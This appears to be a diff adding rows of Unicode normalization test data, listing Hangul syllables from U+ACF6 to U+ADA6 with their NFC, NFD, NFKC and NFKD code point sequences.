+{ source: [0xACF6], NFC: [0xACF6], NFD: [0x1100, 0x1169, 0x11BD], NFKC: [0xACF6], NFKD: [0x1100, 0x1169, 0x11BD] },
+{ source: [0xACF7], NFC: [0xACF7], NFD: [0x1100, 0x1169, 0x11BE], NFKC: [0xACF7], NFKD: [0x1100, 0x1169, 0x11BE] },
+{ source: [0xACF8], NFC: [0xACF8], NFD: [0x1100, 0x1169, 0x11BF], NFKC: [0xACF8], NFKD: [0x1100, 0x1169, 0x11BF] },
+{ source: [0xACF9], NFC: [0xACF9], NFD: [0x1100, 0x1169, 0x11C0], NFKC: [0xACF9], NFKD: [0x1100, 0x1169, 0x11C0] },
+{ source: [0xACFA], NFC: [0xACFA], NFD: [0x1100, 0x1169, 0x11C1], NFKC: [0xACFA], NFKD: [0x1100, 0x1169, 0x11C1] },
+{ source: [0xACFB], NFC: [0xACFB], NFD: [0x1100, 0x1169, 0x11C2], NFKC: [0xACFB], NFKD: [0x1100, 0x1169, 0x11C2] },
+{ source: [0xACFC], NFC: [0xACFC], NFD: [0x1100, 0x116A], NFKC: [0xACFC], NFKD: [0x1100, 0x116A] },
+{ source: [0xACFD], NFC: [0xACFD], NFD: [0x1100, 0x116A, 0x11A8], NFKC: [0xACFD], NFKD: [0x1100, 0x116A, 0x11A8] },
+{ source: [0xACFE], NFC: [0xACFE], NFD: [0x1100, 0x116A, 0x11A9], NFKC: [0xACFE], NFKD: [0x1100, 0x116A, 0x11A9] },
+{ source: [0xACFF], NFC: [0xACFF], NFD: [0x1100, 0x116A, 0x11AA], NFKC: [0xACFF], NFKD: [0x1100, 0x116A, 0x11AA] },
+{ source: [0xAD00], NFC: [0xAD00], NFD: [0x1100, 0x116A, 0x11AB], NFKC: [0xAD00], NFKD: [0x1100, 0x116A, 0x11AB] },
+{ source: [0xAD01], NFC: [0xAD01], NFD: [0x1100, 0x116A, 0x11AC], NFKC: [0xAD01], NFKD: [0x1100, 0x116A, 0x11AC] },
+{ source: [0xAD02], NFC: [0xAD02], NFD: [0x1100, 0x116A, 0x11AD], NFKC: [0xAD02], NFKD: [0x1100, 0x116A, 0x11AD] },
+{ source: [0xAD03], NFC: [0xAD03], NFD: [0x1100, 0x116A, 0x11AE], NFKC: [0xAD03], NFKD: [0x1100, 0x116A, 0x11AE] },
+{ source: [0xAD04], NFC: [0xAD04], NFD: [0x1100, 0x116A, 0x11AF], NFKC: [0xAD04], NFKD: [0x1100, 0x116A, 0x11AF] },
+{ source: [0xAD05], NFC: [0xAD05], NFD: [0x1100, 0x116A, 0x11B0], NFKC: [0xAD05], NFKD: [0x1100, 0x116A, 0x11B0] },
+{ source: [0xAD06], NFC: [0xAD06], NFD: [0x1100, 0x116A, 0x11B1], NFKC: [0xAD06], NFKD: [0x1100, 0x116A, 0x11B1] },
+{ source: [0xAD07], NFC: [0xAD07], NFD: [0x1100, 0x116A, 0x11B2], NFKC: [0xAD07], NFKD: [0x1100, 0x116A, 0x11B2] },
+{ source: [0xAD08], NFC: [0xAD08], NFD: [0x1100, 0x116A, 0x11B3], NFKC: [0xAD08], NFKD: [0x1100, 0x116A, 0x11B3] },
+{ source: [0xAD09], NFC: [0xAD09], NFD: [0x1100, 0x116A, 0x11B4], NFKC: [0xAD09], NFKD: [0x1100, 0x116A, 0x11B4] },
+{ source: [0xAD0A], NFC: [0xAD0A], NFD: [0x1100, 0x116A, 0x11B5], NFKC: [0xAD0A], NFKD: [0x1100, 0x116A, 0x11B5] },
+{ source: [0xAD0B], NFC: [0xAD0B], NFD: [0x1100, 0x116A, 0x11B6], NFKC: [0xAD0B], NFKD: [0x1100, 0x116A, 0x11B6] },
+{ source: [0xAD0C], NFC: [0xAD0C], NFD: [0x1100, 0x116A, 0x11B7], NFKC: [0xAD0C], NFKD: [0x1100, 0x116A, 0x11B7] },
+{ source: [0xAD0D], NFC: [0xAD0D], NFD: [0x1100, 0x116A, 0x11B8], NFKC: [0xAD0D], NFKD: [0x1100, 0x116A, 0x11B8] },
+{ source: [0xAD0E], NFC: [0xAD0E], NFD: [0x1100, 0x116A, 0x11B9], NFKC: [0xAD0E], NFKD: [0x1100, 0x116A, 0x11B9] },
+{ source: [0xAD0F], NFC: [0xAD0F], NFD: [0x1100, 0x116A, 0x11BA], NFKC: [0xAD0F], NFKD: [0x1100, 0x116A, 0x11BA] },
+{ source: [0xAD10], NFC: [0xAD10], NFD: [0x1100, 0x116A, 0x11BB], NFKC: [0xAD10], NFKD: [0x1100, 0x116A, 0x11BB] },
+{ source: [0xAD11], NFC: [0xAD11], NFD: [0x1100, 0x116A, 0x11BC], NFKC: [0xAD11], NFKD: [0x1100, 0x116A, 0x11BC] },
+{ source: [0xAD12], NFC: [0xAD12], NFD: [0x1100, 0x116A, 0x11BD], NFKC: [0xAD12], NFKD: [0x1100, 0x116A, 0x11BD] },
+{ source: [0xAD13], NFC: [0xAD13], NFD: [0x1100, 0x116A, 0x11BE], NFKC: [0xAD13], NFKD: [0x1100, 0x116A, 0x11BE] },
+{ source: [0xAD14], NFC: [0xAD14], NFD: [0x1100, 0x116A, 0x11BF], NFKC: [0xAD14], NFKD: [0x1100, 0x116A, 0x11BF] },
+{ source: [0xAD15], NFC: [0xAD15], NFD: [0x1100, 0x116A, 0x11C0], NFKC: [0xAD15], NFKD: [0x1100, 0x116A, 0x11C0] },
+{ source: [0xAD16], NFC: [0xAD16], NFD: [0x1100, 0x116A, 0x11C1], NFKC: [0xAD16], NFKD: [0x1100, 0x116A, 0x11C1] },
+{ source: [0xAD17], NFC: [0xAD17], NFD: [0x1100, 0x116A, 0x11C2], NFKC: [0xAD17], NFKD: [0x1100, 0x116A, 0x11C2] },
+{ source: [0xAD18], NFC: [0xAD18], NFD: [0x1100, 0x116B], NFKC: [0xAD18], NFKD: [0x1100, 0x116B] },
+{ source: [0xAD19], NFC: [0xAD19], NFD: [0x1100, 0x116B, 0x11A8], NFKC: [0xAD19], NFKD: [0x1100, 0x116B, 0x11A8] },
+{ source: [0xAD1A], NFC: [0xAD1A], NFD: [0x1100, 0x116B, 0x11A9], NFKC: [0xAD1A], NFKD: [0x1100, 0x116B, 0x11A9] },
+{ source: [0xAD1B], NFC: [0xAD1B], NFD: [0x1100, 0x116B, 0x11AA], NFKC: [0xAD1B], NFKD: [0x1100, 0x116B, 0x11AA] },
+{ source: [0xAD1C], NFC: [0xAD1C], NFD: [0x1100, 0x116B, 0x11AB], NFKC: [0xAD1C], NFKD: [0x1100, 0x116B, 0x11AB] },
+{ source: [0xAD1D], NFC: [0xAD1D], NFD: [0x1100, 0x116B, 0x11AC], NFKC: [0xAD1D], NFKD: [0x1100, 0x116B, 0x11AC] },
+{ source: [0xAD1E], NFC: [0xAD1E], NFD: [0x1100, 0x116B, 0x11AD], NFKC: [0xAD1E], NFKD: [0x1100, 0x116B, 0x11AD] },
+{ source: [0xAD1F], NFC: [0xAD1F], NFD: [0x1100, 0x116B, 0x11AE], NFKC: [0xAD1F], NFKD: [0x1100, 0x116B, 0x11AE] },
+{ source: [0xAD20], NFC: [0xAD20], NFD: [0x1100, 0x116B, 0x11AF], NFKC: [0xAD20], NFKD: [0x1100, 0x116B, 0x11AF] },
+{ source: [0xAD21], NFC: [0xAD21], NFD: [0x1100, 0x116B, 0x11B0], NFKC: [0xAD21], NFKD: [0x1100, 0x116B, 0x11B0] },
+{ source: [0xAD22], NFC: [0xAD22], NFD: [0x1100, 0x116B, 0x11B1], NFKC: [0xAD22], NFKD: [0x1100, 0x116B, 0x11B1] },
+{ source: [0xAD23], NFC: [0xAD23], NFD: [0x1100, 0x116B, 0x11B2], NFKC: [0xAD23], NFKD: [0x1100, 0x116B, 0x11B2] },
+{ source: [0xAD24], NFC: [0xAD24], NFD: [0x1100, 0x116B, 0x11B3], NFKC: [0xAD24], NFKD: [0x1100, 0x116B, 0x11B3] },
+{ source: [0xAD25], NFC: [0xAD25], NFD: [0x1100, 0x116B, 0x11B4], NFKC: [0xAD25], NFKD: [0x1100, 0x116B, 0x11B4] },
+{ source: [0xAD26], NFC: [0xAD26], NFD: [0x1100, 0x116B, 0x11B5], NFKC: [0xAD26], NFKD: [0x1100, 0x116B, 0x11B5] },
+{ source: [0xAD27], NFC: [0xAD27], NFD: [0x1100, 0x116B, 0x11B6], NFKC: [0xAD27], NFKD: [0x1100, 0x116B, 0x11B6] },
+{ source: [0xAD28], NFC: [0xAD28], NFD: [0x1100, 0x116B, 0x11B7], NFKC: [0xAD28], NFKD: [0x1100, 0x116B, 0x11B7] },
+{ source: [0xAD29], NFC: [0xAD29], NFD: [0x1100, 0x116B, 0x11B8], NFKC: [0xAD29], NFKD: [0x1100, 0x116B, 0x11B8] },
+{ source: [0xAD2A], NFC: [0xAD2A], NFD: [0x1100, 0x116B, 0x11B9], NFKC: [0xAD2A], NFKD: [0x1100, 0x116B, 0x11B9] },
+{ source: [0xAD2B], NFC: [0xAD2B], NFD: [0x1100, 0x116B, 0x11BA], NFKC: [0xAD2B], NFKD: [0x1100, 0x116B, 0x11BA] },
+{ source: [0xAD2C], NFC: [0xAD2C], NFD: [0x1100, 0x116B, 0x11BB], NFKC: [0xAD2C], NFKD: [0x1100, 0x116B, 0x11BB] },
+{ source: [0xAD2D], NFC: [0xAD2D], NFD: [0x1100, 0x116B, 0x11BC], NFKC: [0xAD2D], NFKD: [0x1100, 0x116B, 0x11BC] },
+{ source: [0xAD2E], NFC: [0xAD2E], NFD: [0x1100, 0x116B, 0x11BD], NFKC: [0xAD2E], NFKD: [0x1100, 0x116B, 0x11BD] },
+{ source: [0xAD2F], NFC: [0xAD2F], NFD: [0x1100, 0x116B, 0x11BE], NFKC: [0xAD2F], NFKD: [0x1100, 0x116B, 0x11BE] },
+{ source: [0xAD30], NFC: [0xAD30], NFD: [0x1100, 0x116B, 0x11BF], NFKC: [0xAD30], NFKD: [0x1100, 0x116B, 0x11BF] },
+{ source: [0xAD31], NFC: [0xAD31], NFD: [0x1100, 0x116B, 0x11C0], NFKC: [0xAD31], NFKD: [0x1100, 0x116B, 0x11C0] },
+{ source: [0xAD32], NFC: [0xAD32], NFD: [0x1100, 0x116B, 0x11C1], NFKC: [0xAD32], NFKD: [0x1100, 0x116B, 0x11C1] },
+{ source: [0xAD33], NFC: [0xAD33], NFD: [0x1100, 0x116B, 0x11C2], NFKC: [0xAD33], NFKD: [0x1100, 0x116B, 0x11C2] },
+{ source: [0xAD34], NFC: [0xAD34], NFD: [0x1100, 0x116C], NFKC: [0xAD34], NFKD: [0x1100, 0x116C] },
+{ source: [0xAD35], NFC: [0xAD35], NFD: [0x1100, 0x116C, 0x11A8], NFKC: [0xAD35], NFKD: [0x1100, 0x116C, 0x11A8] },
+{ source: [0xAD36], NFC: [0xAD36], NFD: [0x1100, 0x116C, 0x11A9], NFKC: [0xAD36], NFKD: [0x1100, 0x116C, 0x11A9] },
+{ source: [0xAD37], NFC: [0xAD37], NFD: [0x1100, 0x116C, 0x11AA], NFKC: [0xAD37], NFKD: [0x1100, 0x116C, 0x11AA] },
+{ source: [0xAD38], NFC: [0xAD38], NFD: [0x1100, 0x116C, 0x11AB], NFKC: [0xAD38], NFKD: [0x1100, 0x116C, 0x11AB] },
+{ source: [0xAD39], NFC: [0xAD39], NFD: [0x1100, 0x116C, 0x11AC], NFKC: [0xAD39], NFKD: [0x1100, 0x116C, 0x11AC] },
+{ source: [0xAD3A], NFC: [0xAD3A], NFD: [0x1100, 0x116C, 0x11AD], NFKC: [0xAD3A], NFKD: [0x1100, 0x116C, 0x11AD] },
+{ source: [0xAD3B], NFC: [0xAD3B], NFD: [0x1100, 0x116C, 0x11AE], NFKC: [0xAD3B], NFKD: [0x1100, 0x116C, 0x11AE] },
+{ source: [0xAD3C], NFC: [0xAD3C], NFD: [0x1100, 0x116C, 0x11AF], NFKC: [0xAD3C], NFKD: [0x1100, 0x116C, 0x11AF] },
+{ source: [0xAD3D], NFC: [0xAD3D], NFD: [0x1100, 0x116C, 0x11B0], NFKC: [0xAD3D], NFKD: [0x1100, 0x116C, 0x11B0] },
+{ source: [0xAD3E], NFC: [0xAD3E], NFD: [0x1100, 0x116C, 0x11B1], NFKC: [0xAD3E], NFKD: [0x1100, 0x116C, 0x11B1] },
+{ source: [0xAD3F], NFC: [0xAD3F], NFD: [0x1100, 0x116C, 0x11B2], NFKC: [0xAD3F], NFKD: [0x1100, 0x116C, 0x11B2] },
+{ source: [0xAD40], NFC: [0xAD40], NFD: [0x1100, 0x116C, 0x11B3], NFKC: [0xAD40], NFKD: [0x1100, 0x116C, 0x11B3] },
+{ source: [0xAD41], NFC: [0xAD41], NFD: [0x1100, 0x116C, 0x11B4], NFKC: [0xAD41], NFKD: [0x1100, 0x116C, 0x11B4] },
+{ source: [0xAD42], NFC: [0xAD42], NFD: [0x1100, 0x116C, 0x11B5], NFKC: [0xAD42], NFKD: [0x1100, 0x116C, 0x11B5] },
+{ source: [0xAD43], NFC: [0xAD43], NFD: [0x1100, 0x116C, 0x11B6], NFKC: [0xAD43], NFKD: [0x1100, 0x116C, 0x11B6] },
+{ source: [0xAD44], NFC: [0xAD44], NFD: [0x1100, 0x116C, 0x11B7], NFKC: [0xAD44], NFKD: [0x1100, 0x116C, 0x11B7] },
+{ source: [0xAD45], NFC: [0xAD45], NFD: [0x1100, 0x116C, 0x11B8], NFKC: [0xAD45], NFKD: [0x1100, 0x116C, 0x11B8] },
+{ source: [0xAD46], NFC: [0xAD46], NFD: [0x1100, 0x116C, 0x11B9], NFKC: [0xAD46], NFKD: [0x1100, 0x116C, 0x11B9] },
+{ source: [0xAD47], NFC: [0xAD47], NFD: [0x1100, 0x116C, 0x11BA], NFKC: [0xAD47], NFKD: [0x1100, 0x116C, 0x11BA] },
+{ source: [0xAD48], NFC: [0xAD48], NFD: [0x1100, 0x116C, 0x11BB], NFKC: [0xAD48], NFKD: [0x1100, 0x116C, 0x11BB] },
+{ source: [0xAD49], NFC: [0xAD49], NFD: [0x1100, 0x116C, 0x11BC], NFKC: [0xAD49], NFKD: [0x1100, 0x116C, 0x11BC] },
+{ source: [0xAD4A], NFC: [0xAD4A], NFD: [0x1100, 0x116C, 0x11BD], NFKC: [0xAD4A], NFKD: [0x1100, 0x116C, 0x11BD] },
+{ source: [0xAD4B], NFC: [0xAD4B], NFD: [0x1100, 0x116C, 0x11BE], NFKC: [0xAD4B], NFKD: [0x1100, 0x116C, 0x11BE] },
+{ source: [0xAD4C], NFC: [0xAD4C], NFD: [0x1100, 0x116C, 0x11BF], NFKC: [0xAD4C], NFKD: [0x1100, 0x116C, 0x11BF] },
+{ source: [0xAD4D], NFC: [0xAD4D], NFD: [0x1100, 0x116C, 0x11C0], NFKC: [0xAD4D], NFKD: [0x1100, 0x116C, 0x11C0] },
+{ source: [0xAD4E], NFC: [0xAD4E], NFD: [0x1100, 0x116C, 0x11C1], NFKC: [0xAD4E], NFKD: [0x1100, 0x116C, 0x11C1] },
+{ source: [0xAD4F], NFC: [0xAD4F], NFD: [0x1100, 0x116C, 0x11C2], NFKC: [0xAD4F], NFKD: [0x1100, 0x116C, 0x11C2] },
+{ source: [0xAD50], NFC: [0xAD50], NFD: [0x1100, 0x116D], NFKC: [0xAD50], NFKD: [0x1100, 0x116D] },
+{ source: [0xAD51], NFC: [0xAD51], NFD: [0x1100, 0x116D, 0x11A8], NFKC: [0xAD51], NFKD: [0x1100, 0x116D, 0x11A8] },
+{ source: [0xAD52], NFC: [0xAD52], NFD: [0x1100, 0x116D, 0x11A9], NFKC: [0xAD52], NFKD: [0x1100, 0x116D, 0x11A9] },
+{ source: [0xAD53], NFC: [0xAD53], NFD: [0x1100, 0x116D, 0x11AA], NFKC: [0xAD53], NFKD: [0x1100, 0x116D, 0x11AA] },
+{ source: [0xAD54], NFC: [0xAD54], NFD: [0x1100, 0x116D, 0x11AB], NFKC: [0xAD54], NFKD: [0x1100, 0x116D, 0x11AB] },
+{ source: [0xAD55], NFC: [0xAD55], NFD: [0x1100, 0x116D, 0x11AC], NFKC: [0xAD55], NFKD: [0x1100, 0x116D, 0x11AC] },
+{ source: [0xAD56], NFC: [0xAD56], NFD: [0x1100, 0x116D, 0x11AD], NFKC: [0xAD56], NFKD: [0x1100, 0x116D, 0x11AD] },
+{ source: [0xAD57], NFC: [0xAD57], NFD: [0x1100, 0x116D, 0x11AE], NFKC: [0xAD57], NFKD: [0x1100, 0x116D, 0x11AE] },
+{ source: [0xAD58], NFC: [0xAD58], NFD: [0x1100, 0x116D, 0x11AF], NFKC: [0xAD58], NFKD: [0x1100, 0x116D, 0x11AF] },
+{ source: [0xAD59], NFC: [0xAD59], NFD: [0x1100, 0x116D, 0x11B0], NFKC: [0xAD59], NFKD: [0x1100, 0x116D, 0x11B0] },
+{ source: [0xAD5A], NFC: [0xAD5A], NFD: [0x1100, 0x116D, 0x11B1], NFKC: [0xAD5A], NFKD: [0x1100, 0x116D, 0x11B1] },
+{ source: [0xAD5B], NFC: [0xAD5B], NFD: [0x1100, 0x116D, 0x11B2], NFKC: [0xAD5B], NFKD: [0x1100, 0x116D, 0x11B2] },
+{ source: [0xAD5C], NFC: [0xAD5C], NFD: [0x1100, 0x116D, 0x11B3], NFKC: [0xAD5C], NFKD: [0x1100, 0x116D, 0x11B3] },
+{ source: [0xAD5D], NFC: [0xAD5D], NFD: [0x1100, 0x116D, 0x11B4], NFKC: [0xAD5D], NFKD: [0x1100, 0x116D, 0x11B4] },
+{ source: [0xAD5E], NFC: [0xAD5E], NFD: [0x1100, 0x116D, 0x11B5], NFKC: [0xAD5E], NFKD: [0x1100, 0x116D, 0x11B5] },
+{ source: [0xAD5F], NFC: [0xAD5F], NFD: [0x1100, 0x116D, 0x11B6], NFKC: [0xAD5F], NFKD: [0x1100, 0x116D, 0x11B6] },
+{ source: [0xAD60], NFC: [0xAD60], NFD: [0x1100, 0x116D, 0x11B7], NFKC: [0xAD60], NFKD: [0x1100, 0x116D, 0x11B7] },
+{ source: [0xAD61], NFC: [0xAD61], NFD: [0x1100, 0x116D, 0x11B8], NFKC: [0xAD61], NFKD: [0x1100, 0x116D, 0x11B8] },
+{ source: [0xAD62], NFC: [0xAD62], NFD: [0x1100, 0x116D, 0x11B9], NFKC: [0xAD62], NFKD: [0x1100, 0x116D, 0x11B9] },
+{ source: [0xAD63], NFC: [0xAD63], NFD: [0x1100, 0x116D, 0x11BA], NFKC: [0xAD63], NFKD: [0x1100, 0x116D, 0x11BA] },
+{ source: [0xAD64], NFC: [0xAD64], NFD: [0x1100, 0x116D, 0x11BB], NFKC: [0xAD64], NFKD: [0x1100, 0x116D, 0x11BB] },
+{ source: [0xAD65], NFC: [0xAD65], NFD: [0x1100, 0x116D, 0x11BC], NFKC: [0xAD65], NFKD: [0x1100, 0x116D, 0x11BC] },
+{ source: [0xAD66], NFC: [0xAD66], NFD: [0x1100, 0x116D, 0x11BD], NFKC: [0xAD66], NFKD: [0x1100, 0x116D, 0x11BD] },
+{ source: [0xAD67], NFC: [0xAD67], NFD: [0x1100, 0x116D, 0x11BE], NFKC: [0xAD67], NFKD: [0x1100, 0x116D, 0x11BE] },
+{ source: [0xAD68], NFC: [0xAD68], NFD: [0x1100, 0x116D, 0x11BF], NFKC: [0xAD68], NFKD: [0x1100, 0x116D, 0x11BF] },
+{ source: [0xAD69], NFC: [0xAD69], NFD: [0x1100, 0x116D, 0x11C0], NFKC: [0xAD69], NFKD: [0x1100, 0x116D, 0x11C0] },
+{ source: [0xAD6A], NFC: [0xAD6A], NFD: [0x1100, 0x116D, 0x11C1], NFKC: [0xAD6A], NFKD: [0x1100, 0x116D, 0x11C1] },
+{ source: [0xAD6B], NFC: [0xAD6B], NFD: [0x1100, 0x116D, 0x11C2], NFKC: [0xAD6B], NFKD: [0x1100, 0x116D, 0x11C2] },
+{ source: [0xAD6C], NFC: [0xAD6C], NFD: [0x1100, 0x116E], NFKC: [0xAD6C], NFKD: [0x1100, 0x116E] },
+{ source: [0xAD6D], NFC: [0xAD6D], NFD: [0x1100, 0x116E, 0x11A8], NFKC: [0xAD6D], NFKD: [0x1100, 0x116E, 0x11A8] },
+{ source: [0xAD6E], NFC: [0xAD6E], NFD: [0x1100, 0x116E, 0x11A9], NFKC: [0xAD6E], NFKD: [0x1100, 0x116E, 0x11A9] },
+{ source: [0xAD6F], NFC: [0xAD6F], NFD: [0x1100, 0x116E, 0x11AA], NFKC: [0xAD6F], NFKD: [0x1100, 0x116E, 0x11AA] },
+{ source: [0xAD70], NFC: [0xAD70], NFD: [0x1100, 0x116E, 0x11AB], NFKC: [0xAD70], NFKD: [0x1100, 0x116E, 0x11AB] },
+{ source: [0xAD71], NFC: [0xAD71], NFD: [0x1100, 0x116E, 0x11AC], NFKC: [0xAD71], NFKD: [0x1100, 0x116E, 0x11AC] },
+{ source: [0xAD72], NFC: [0xAD72], NFD: [0x1100, 0x116E, 0x11AD], NFKC: [0xAD72], NFKD: [0x1100, 0x116E, 0x11AD] },
+{ source: [0xAD73], NFC: [0xAD73], NFD: [0x1100, 0x116E, 0x11AE], NFKC: [0xAD73], NFKD: [0x1100, 0x116E, 0x11AE] },
+{ source: [0xAD74], NFC: [0xAD74], NFD: [0x1100, 0x116E, 0x11AF], NFKC: [0xAD74], NFKD: [0x1100, 0x116E, 0x11AF] },
+{ source: [0xAD75], NFC: [0xAD75], NFD: [0x1100, 0x116E, 0x11B0], NFKC: [0xAD75], NFKD: [0x1100, 0x116E, 0x11B0] },
+{ source: [0xAD76], NFC: [0xAD76], NFD: [0x1100, 0x116E, 0x11B1], NFKC: [0xAD76], NFKD: [0x1100, 0x116E, 0x11B1] },
+{ source: [0xAD77], NFC: [0xAD77], NFD: [0x1100, 0x116E, 0x11B2], NFKC: [0xAD77], NFKD: [0x1100, 0x116E, 0x11B2] },
+{ source: [0xAD78], NFC: [0xAD78], NFD: [0x1100, 0x116E, 0x11B3], NFKC: [0xAD78], NFKD: [0x1100, 0x116E, 0x11B3] },
+{ source: [0xAD79], NFC: [0xAD79], NFD: [0x1100, 0x116E, 0x11B4], NFKC: [0xAD79], NFKD: [0x1100, 0x116E, 0x11B4] },
+{ source: [0xAD7A], NFC: [0xAD7A], NFD: [0x1100, 0x116E, 0x11B5], NFKC: [0xAD7A], NFKD: [0x1100, 0x116E, 0x11B5] },
+{ source: [0xAD7B], NFC: [0xAD7B], NFD: [0x1100, 0x116E, 0x11B6], NFKC: [0xAD7B], NFKD: [0x1100, 0x116E, 0x11B6] },
+{ source: [0xAD7C], NFC: [0xAD7C], NFD: [0x1100, 0x116E, 0x11B7], NFKC: [0xAD7C], NFKD: [0x1100, 0x116E, 0x11B7] },
+{ source: [0xAD7D], NFC: [0xAD7D], NFD: [0x1100, 0x116E, 0x11B8], NFKC: [0xAD7D], NFKD: [0x1100, 0x116E, 0x11B8] },
+{ source: [0xAD7E], NFC: [0xAD7E], NFD: [0x1100, 0x116E, 0x11B9], NFKC: [0xAD7E], NFKD: [0x1100, 0x116E, 0x11B9] },
+{ source: [0xAD7F], NFC: [0xAD7F], NFD: [0x1100, 0x116E, 0x11BA], NFKC: [0xAD7F], NFKD: [0x1100, 0x116E, 0x11BA] },
+{ source: [0xAD80], NFC: [0xAD80], NFD: [0x1100, 0x116E, 0x11BB], NFKC: [0xAD80], NFKD: [0x1100, 0x116E, 0x11BB] },
+{ source: [0xAD81], NFC: [0xAD81], NFD: [0x1100, 0x116E, 0x11BC], NFKC: [0xAD81], NFKD: [0x1100, 0x116E, 0x11BC] },
+{ source: [0xAD82], NFC: [0xAD82], NFD: [0x1100, 0x116E, 0x11BD], NFKC: [0xAD82], NFKD: [0x1100, 0x116E, 0x11BD] },
+{ source: [0xAD83], NFC: [0xAD83], NFD: [0x1100, 0x116E, 0x11BE], NFKC: [0xAD83], NFKD: [0x1100, 0x116E, 0x11BE] },
+{ source: [0xAD84], NFC: [0xAD84], NFD: [0x1100, 0x116E, 0x11BF], NFKC: [0xAD84], NFKD: [0x1100, 0x116E, 0x11BF] },
+{ source: [0xAD85], NFC: [0xAD85], NFD: [0x1100, 0x116E, 0x11C0], NFKC: [0xAD85], NFKD: [0x1100, 0x116E, 0x11C0] },
+{ source: [0xAD86], NFC: [0xAD86], NFD: [0x1100, 0x116E, 0x11C1], NFKC: [0xAD86], NFKD: [0x1100, 0x116E, 0x11C1] },
+{ source: [0xAD87], NFC: [0xAD87], NFD: [0x1100, 0x116E, 0x11C2], NFKC: [0xAD87], NFKD: [0x1100, 0x116E, 0x11C2] },
+{ source: [0xAD88], NFC: [0xAD88], NFD: [0x1100, 0x116F], NFKC: [0xAD88], NFKD: [0x1100, 0x116F] },
+{ source: [0xAD89], NFC: [0xAD89], NFD: [0x1100, 0x116F, 0x11A8], NFKC: [0xAD89], NFKD: [0x1100, 0x116F, 0x11A8] },
+{ source: [0xAD8A], NFC: [0xAD8A], NFD: [0x1100, 0x116F, 0x11A9], NFKC: [0xAD8A], NFKD: [0x1100, 0x116F, 0x11A9] },
+{ source: [0xAD8B], NFC: [0xAD8B], NFD: [0x1100, 0x116F, 0x11AA], NFKC: [0xAD8B], NFKD: [0x1100, 0x116F, 0x11AA] },
+{ source: [0xAD8C], NFC: [0xAD8C], NFD: [0x1100, 0x116F, 0x11AB], NFKC: [0xAD8C], NFKD: [0x1100, 0x116F, 0x11AB] },
+{ source: [0xAD8D], NFC: [0xAD8D], NFD: [0x1100, 0x116F, 0x11AC], NFKC: [0xAD8D], NFKD: [0x1100, 0x116F, 0x11AC] },
+{ source: [0xAD8E], NFC: [0xAD8E], NFD: [0x1100, 0x116F, 0x11AD], NFKC: [0xAD8E], NFKD: [0x1100, 0x116F, 0x11AD] },
+{ source: [0xAD8F], NFC: [0xAD8F], NFD: [0x1100, 0x116F, 0x11AE], NFKC: [0xAD8F], NFKD: [0x1100, 0x116F, 0x11AE] },
+{ source: [0xAD90], NFC: [0xAD90], NFD: [0x1100, 0x116F, 0x11AF], NFKC: [0xAD90], NFKD: [0x1100, 0x116F, 0x11AF] },
+{ source: [0xAD91], NFC: [0xAD91], NFD: [0x1100, 0x116F, 0x11B0], NFKC: [0xAD91], NFKD: [0x1100, 0x116F, 0x11B0] },
+{ source: [0xAD92], NFC: [0xAD92], NFD: [0x1100, 0x116F, 0x11B1], NFKC: [0xAD92], NFKD: [0x1100, 0x116F, 0x11B1] },
+{ source: [0xAD93], NFC: [0xAD93], NFD: [0x1100, 0x116F, 0x11B2], NFKC: [0xAD93], NFKD: [0x1100, 0x116F, 0x11B2] },
+{ source: [0xAD94], NFC: [0xAD94], NFD: [0x1100, 0x116F, 0x11B3], NFKC: [0xAD94], NFKD: [0x1100, 0x116F, 0x11B3] },
+{ source: [0xAD95], NFC: [0xAD95], NFD: [0x1100, 0x116F, 0x11B4], NFKC: [0xAD95], NFKD: [0x1100, 0x116F, 0x11B4] },
+{ source: [0xAD96], NFC: [0xAD96], NFD: [0x1100, 0x116F, 0x11B5], NFKC: [0xAD96], NFKD: [0x1100, 0x116F, 0x11B5] },
+{ source: [0xAD97], NFC: [0xAD97], NFD: [0x1100, 0x116F, 0x11B6], NFKC: [0xAD97], NFKD: [0x1100, 0x116F, 0x11B6] },
+{ source: [0xAD98], NFC: [0xAD98], NFD: [0x1100, 0x116F, 0x11B7], NFKC: [0xAD98], NFKD: [0x1100, 0x116F, 0x11B7] },
+{ source: [0xAD99], NFC: [0xAD99], NFD: [0x1100, 0x116F, 0x11B8], NFKC: [0xAD99], NFKD: [0x1100, 0x116F, 0x11B8] },
+{ source: [0xAD9A], NFC: [0xAD9A], NFD: [0x1100, 0x116F, 0x11B9], NFKC: [0xAD9A], NFKD: [0x1100, 0x116F, 0x11B9] },
+{ source: [0xAD9B], NFC: [0xAD9B], NFD: [0x1100, 0x116F, 0x11BA], NFKC: [0xAD9B], NFKD: [0x1100, 0x116F, 0x11BA] },
+{ source: [0xAD9C], NFC: [0xAD9C], NFD: [0x1100, 0x116F, 0x11BB], NFKC: [0xAD9C], NFKD: [0x1100, 0x116F, 0x11BB] },
+{ source: [0xAD9D], NFC: [0xAD9D], NFD: [0x1100, 0x116F, 0x11BC], NFKC: [0xAD9D], NFKD: [0x1100, 0x116F, 0x11BC] },
+{ source: [0xAD9E], NFC: [0xAD9E], NFD: [0x1100, 0x116F, 0x11BD], NFKC: [0xAD9E], NFKD: [0x1100, 0x116F, 0x11BD] },
+{ source: [0xAD9F], NFC: [0xAD9F], NFD: [0x1100, 0x116F, 0x11BE], NFKC: [0xAD9F], NFKD: [0x1100, 0x116F, 0x11BE] },
+{ source: [0xADA0], NFC: [0xADA0], NFD: [0x1100, 0x116F, 0x11BF], NFKC: [0xADA0], NFKD: [0x1100, 0x116F, 0x11BF] },
+{ source: [0xADA1], NFC: [0xADA1], NFD: [0x1100, 0x116F, 0x11C0], NFKC: [0xADA1], NFKD: [0x1100, 0x116F, 0x11C0] },
+{ source: [0xADA2], NFC: [0xADA2], NFD: [0x1100, 0x116F, 0x11C1], NFKC: [0xADA2], NFKD: [0x1100, 0x116F, 0x11C1] },
+{ source: [0xADA3], NFC: [0xADA3], NFD: [0x1100, 0x116F, 0x11C2], NFKC: [0xADA3], NFKD: [0x1100, 0x116F, 0x11C2] },
+{ source: [0xADA4], NFC: [0xADA4], NFD: [0x1100, 0x1170], NFKC: [0xADA4], NFKD: [0x1100, 0x1170] },
+{ source: [0xADA5], NFC: [0xADA5], NFD: [0x1100, 0x1170, 0x11A8], NFKC: [0xADA5], NFKD: [0x1100, 0x1170, 0x11A8] },
+{ source: [0xADA6], NFC: [0xADA6], NFD: [0x1100, 0x1170, 0x11A9], NFKC: [0xADA6], NFKD: [0x1100, 0x1170, 0x11A9] },
